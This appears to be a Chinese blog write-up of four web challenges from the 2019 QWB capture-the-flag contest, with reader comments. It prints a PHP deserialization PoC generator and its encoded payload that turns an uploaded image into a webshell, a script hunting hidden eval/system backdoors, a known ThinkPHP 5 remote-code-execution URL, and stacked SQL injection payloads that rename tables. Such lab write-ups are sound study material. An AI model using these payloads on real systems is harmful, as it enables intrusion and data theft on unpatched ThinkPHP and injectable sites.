0x01.UPLOAD
知识点:代码审计,PHP 反序列化。
复现环境:https://github.com/CTFTraining/qwb_2019_upload
步骤:
1.先打开靶机看看。
2.看起来是个登录和注册页面,那么就先注册然后登录试试吧。
3.登录之后看到这样一个页面,测了一下只能上传能被正常查看的 png。
4.跳转到了一个新的页面,这个页面似乎没有任何实际功能了。然后可以看到我们图片是正确被上传到服务器上的 /upload/da5703ef349c8b4ca65880a05514ff89/ 下了。
5.然后我们来扫扫敏感文件,发现 /www.tar.gz 下有内容(其实是从第二题得到的提示),下载下来解压看看,发现是 ThinkPHP 5 框架写的。
www.tar.gz
6.而且其有 .idea 目录,我们将其导入到 PHPStorm 看看吧。
7.发现其在 application/web/controller/Register.php 和 application/web/controller/Index.php 下有两个断点,很诡异,估计是 Hint 了。
application/web/controller/Register.php:
application/web/controller/Index.php:
8.看了看,发现这两个点的流程大概如下。
application/web/controller/Index.php 里的:
首先访问大部分页面例如 index 都会调用 login_check 方法。
该方法会先将传入的用户 Profile 反序列化,而后到数据库中检查相关信息是否一致。
application/web/controller/Register.php 里的:
Register 的析构方法,估计是想判断注没注册,没注册的给调用 check 也就是 Index 的 index 方法,也就是跳到主页了。
9.然后再来审一下其他代码,发现上传图片的主要逻辑在 application/web/controller/Profile.php 里。
先检查是否登录,然后判断是否有文件,然后获取后缀,解析图片判断是否为正常图片,再从临时文件拷贝到目标路径。
而 Profile 有 _call 和 _get 两个魔术方法,分别书写了在调用不可调用方法和不可调用成员变量时怎么做。_get 会直接从 except 里找,_call 会调用自身的 name 成员变量所指代的变量所指代的方法。
看起来似乎天衣无缝。
但别忘了前面我们有反序列化和析构函数的调用,结合这三个地方我们就可以操控 Profile 里的参数,控制其中的 upload_img 方法,这样我们就能任意更改文件名,让其为我们所用了。
11.首先用蚁剑生成个马,再用 hex 编辑器构造个图片马,注册个新号上传上去。
12.然后构造一个 Profile 和 Register 类,命名空间 app\web\controller(要不然反序列化会出错,不知道对象实例化的是哪个类)。然后给其 except 成员变量赋值 [‘index’ => ‘img’],代表要是访问 index 这个变量,就会返回 img。而后又给 img 赋值 upload_img,让这个对象被访问不存在的方法时最终调用 upload_img。
而后我们又赋值控制 filename_tmp 和 filename 成员变量。可以看到前面两个判断我们只要不赋值和不上传变量即可轻松绕过。ext 这里也要赋值,让他进这个判断。而后程序就开始把 filename_tmp 移动到 filename,这样我们就可以把 png 移动为 php 文件了。
而后,我们还要构造一个 Register,checker 赋值为 我们上面这个 $profile,registed 赋值为 false,这样在这个对象析构时就会调用 profile 的 index 方法,再跳到 upload_img 了。
13.最终 Poc 生成脚本如下,PHP 的。
<?php
namespace app\web\controller;
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
class Register
{
public $checker;
public $registed;
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.png";
$profile->filename = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.php";
$register = new Register();
$register->registed = false;
$register->checker = $profile;
echo urlencode(base64_encode(serialize($register)));
注意这里的文件路劲,看 Profile 的构造方法有切换路径,这里我们反序列化的话似乎不会调用构造方法,所以得自己指定一下路径。
14.运行,得到 Poc。
TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjg2OiIuLi9wdWJsaWMvdXBsb2FkL2RhNTcwM2VmMzQ5YzhiNGNhNjU4ODBhMDU1MTRmZjg5L2U2ZTljNDgzNjg3NTJiMjYwOTE0YTkxMGJlOTA0MjU3LnBuZyI7czo4OiJmaWxlbmFtZSI7czo4NjoiLi4vcHVibGljL3VwbG9hZC9kYTU3MDNlZjM0OWM4YjRjYTY1ODgwYTA1NTE0ZmY4OS9lNmU5YzQ4MzY4NzUyYjI2MDkxNGE5MTBiZTkwNDI1Ny5waHAiO3M6MTE6InVwbG9hZF9tZW51IjtOO3M6MzoiZXh0IjtzOjM6InBuZyI7czozOiJpbWciO3M6MTA6InVwbG9hZF9pbWciO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MzoiaW1nIjt9fXM6ODoicmVnaXN0ZWQiO2I6MDt9
15.然后置 coookie。
16.刷新页面。
17.可以看到我们的小马已经能访问了。
18.然后蚁剑连上,打开 /flag 文件。
19.Flag 到手~
0x02. 高明的黑客
知识点:代码审计,动态测试
复现环境:https://github.com/CTFTraining/qwb_2019_smarthacker
步骤:
1.打开靶机,是这样一个页面。
2.那就下载源码吧。
3.来看看,发现大部分文件都是一些垃圾代码,难以解读。
但有些地方是能看的,比如
前头赋值,神仙难救。
神仙难救。
神仙难救。
4.但总有些地方可用的,来写个脚本批量扫描一下 _GET 和 _POST,给他们传一些特定的代码(比如 echo(“glzjin”); /echo(“glzjin”) / echo glzjin,eval,assert,system 函数需要分别处理,一个文件需要用几种姿势多测几次)看看能执行不,能执行返回这种特定的字符串就说明此处可用。
Python 脚本如下:
import os
import threading
from concurrent.futures.thread import ThreadPoolExecutor
import requests
session = requests.Session()
path = "/Users/jinzhao/PhpstormProjects/qwb/web2/" # 文件夹目录
files = os.listdir(path) # 得到文件夹下的所有文件名称
mutex = threading.Lock()
pool = ThreadPoolExecutor(max_workers=50)
def read_file(file):
f = open(path + "/" + file); # 打开文件
iter_f = iter(f); # 创建迭代器
str = ""
for line in iter_f: # 遍历文件,一行行遍历,读取文本
str = str + line
# 获取一个页面内所有参数
start = 0
params = {}
while str.find("$_GET['", start) != -1:
pos2 = str.find("']", str.find("$_GET['", start) + 1)
var = str[str.find("$_GET['", start) + 7: pos2]
start = pos2 + 1
params[var] = 'echo("glzjin");'
# print(var)
start = 0
data = {}
while str.find("$_POST['", start) != -1:
pos2 = str.find("']", str.find("$_POST['", start) + 1)
var = str[str.find("$_POST['", start) + 8: pos2]
start = pos2 + 1
data[var] = 'echo("glzjin");'
# print(var)
# eval test
r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
if r.text.find('glzjin') != -1:
mutex.acquire()
print(file + " found!")
mutex.release()
# assert test
for i in params:
params[i] = params[i][:-1]
for i in data:
data[i] = data[i][:-1]
r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
if r.text.find('glzjin') != -1:
mutex.acquire()
print(file + " found!")
mutex.release()
# system test
for i in params:
params[i] = 'echo glzjin'
for i in data:
data[i] = 'echo glzjin'
r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
if r.text.find('glzjin') != -1:
mutex.acquire()
print(file + " found!")
mutex.release()
# print("====================")
for file in files: # 遍历文件夹
if not os.path.isdir(file): # 判断是否是文件夹,不是文件夹才打开
# read_file(file)
pool.submit(read_file, file)
5.然后在本地开个 PHP 服务器。
/usr/bin/php -S localhost:11180 -t /Users/jinzhao/PhpstormProjects/qwb
6.运行脚本,开扫,扫到一个咯~
7.去这个文件里看看。这一段是关键,拼接了一个 System 出来调用 Efa5BVG 这个参数。
8.OK,那么就来试试读取 flag 吧。访问 /xk0SzyKwfzw.php?Efa5BVG=cat%20/flag
9. Flag 到手~
0x03.上单
知识点:通用组件已知漏洞熟悉度- -?
1.打开靶机,发现似乎可以遍历目录。
2.点进去看看,似乎是 ThinkPHP。
3.看看 Readme,似乎是 ThinkPHP 5.0?
4.直接上次去防灾打比赛的 payload 一把梭。
/1/public/index?s=index/think%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag
5. Flag 到手~
0x04.随便注
知识点:堆叠注入
复现环境:https://github.com/CTFTraining/qwb_2019_supersqli
步骤:
1.打开靶机,发现是这样一个页面。
2.然后提交试试。发现似乎是直接把返回的原始数据给返回了。
3.然后来测试一下有没有注入,似乎是有的。
/?inject=1%27or+%271%27%3D%271
/?inject=1' or '1'='1
4.来检查一下过滤情况,过滤函数如下。
过滤了 select,update,delete,drop,insert,where 和 点。
5.咦,过滤了那么些词,是不是有堆叠注入?一测,还真有。下面列出数据库试试。
/?inject=222%27%3Bshow+databases%3B%23
/?inject=222';show databases;#
6. OK,可以。那看看有啥表。
/?inject=222%27%3Bshow+tables%3B%23
/?inject=222';show tables;#
7.来看看这个数字为名字的表里有啥。看来 flag 在这了。
/?inject=222%27%3Bshow+columns%20from%20`1919810931114514`%3B%23
/?inject=222';show columns from `1919810931114514`;#
8.然后是 words 表,看起来就是默认查询的表了。
/?inject=222%27%3Bshow+columns%20from%20`words`%3B%23
/?inject=222';show columns from `words`;#
9.他既然没过滤 alert 和 rename,那么我们是不是可以把表改个名字,再给列改个名字呢。
先把 words 改名为 words1,再把这个数字表改名为 words,然后把新的 words 里的 flag 列改为 id (避免一开始无法查询)。
这样就可以让程序直接查询出 flag 了。
10.构造 payload 如下,然后访问,看到这个看来就执行到最后一个语句了。(改表名那里直接从 pma 拷了一个语句过来改- -)
/?inject=1%27;RENAME%20TABLE%20`words`%20TO%20`words1`;RENAME%20TABLE%20`1919810931114514`%20TO%20`words`;ALTER%20TABLE%20`words`%20CHANGE%20`flag`%20`id`%20VARCHAR(100)%20CHARACTER%20SET%20utf8%20COLLATE%20utf8_general_ci%20NOT%20NULL;show%20columns%20from%20words;#
/?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
11.用 1′ or ‘1’=’1 访问一下。
/?inject=1%27+or+%271%27%3D%271#
/?inject=1' or '1'='1
12. Flag 到手~
15 个评论
rooo
大佬最后一个提有环境吗
glzjin
有
Pdsdt
web也是做了这四个,都是第二天K出来的,第一天真是感觉自己像cxk
////
。。。。
glzjin
我们更心酸- -被禁赛了- -以后再也不和外面的人随意组队了。
Habbie
大佬感觉这次题难吗
glzjin
题还好,质量都挺高的。
tinyhalo
有pwn题的writeup吗
glzjin
没-.-不会 pwn
2019强网杯-upload – Aple的小破站
[…] https://www.zhaoj.in/read-5873.html?tdsourcetag=s_pctim_aiomsg […]
cherish
请问随便注的环境,已经启动了docker容器,为何http://127.0.0.1:8302不能成功打开?
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
f4e163431afd ctftraining/qwb_2019_supersqli “docker-php-entrypoi…” 28 seconds ago Up 27 seconds 9000/tcp, 127.0.0.1:8302->80/tcp qwb2019supersqlimaster_web_1
cherish
看了以下容器内部,没有80端口
tan90deg
想问下赵师傅这里为什么要加上返单引号 /?inject=222′;show columns from `1919810931114514`;# words的时候不用加就可以 而它不行
sueisok
因为是数字啊,数字为表名就要加,word加也可以不加也可以
虎符 CTF2021 Web 部分 WriteUp – 赵
[…] 那么老规矩,按照https://www.zhaoj.in/read-5873.html#0x04 这里的方法,改表名,读内容。(晚上写 wp 复现时卡住了,下午的时候却可以- -||离谱,还好那时候存了下密码) […]